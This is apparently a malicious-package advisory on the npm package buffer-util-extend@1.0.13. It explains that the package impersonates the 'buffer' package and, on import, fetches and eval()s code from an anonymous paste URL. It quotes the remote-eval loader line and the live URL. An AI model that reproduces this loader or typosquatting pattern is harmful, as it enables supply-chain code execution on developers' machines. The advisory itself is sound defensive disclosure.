buffer-util-extend@1.0.13

Summary

On require/import, index.js decodes a base64 string literal to https://www.jsonkeeper.com/b/CWOV9, fetches that anonymous JSON paste, and passes the response's content field to eval() (index.js:46 stores the base64-encoded URL; index.js:59-65 performs fetch(atob(...)).then(t=>t.json()).then(data => eval(data.content))). Any consumer that requires this package executes whatever JavaScript is currently hosted at the mutable paste URL — full arbitrary code execution on the installer/build machine, with the operator able to swap payloads at any time without republishing the package. The package additionally impersonates the widely-used buffer package: it copies Feross Aboukhadijeh's authorship metadata, homepage https://github.com/feross/buffer, the README references, and the Buffer polyfill source verbatim, while adding unrelated dependencies (axios, request, execp) and the remote-eval payload. Name-confusion against a top-tier npm package combined with concrete import-time RCE makes this a deliberate supply-chain attack.

Source: amazon-inspector (374d8c5c4c32544741d1ea3788cfbccc3ee175f7181f8bdfa71cf4fde44121eb)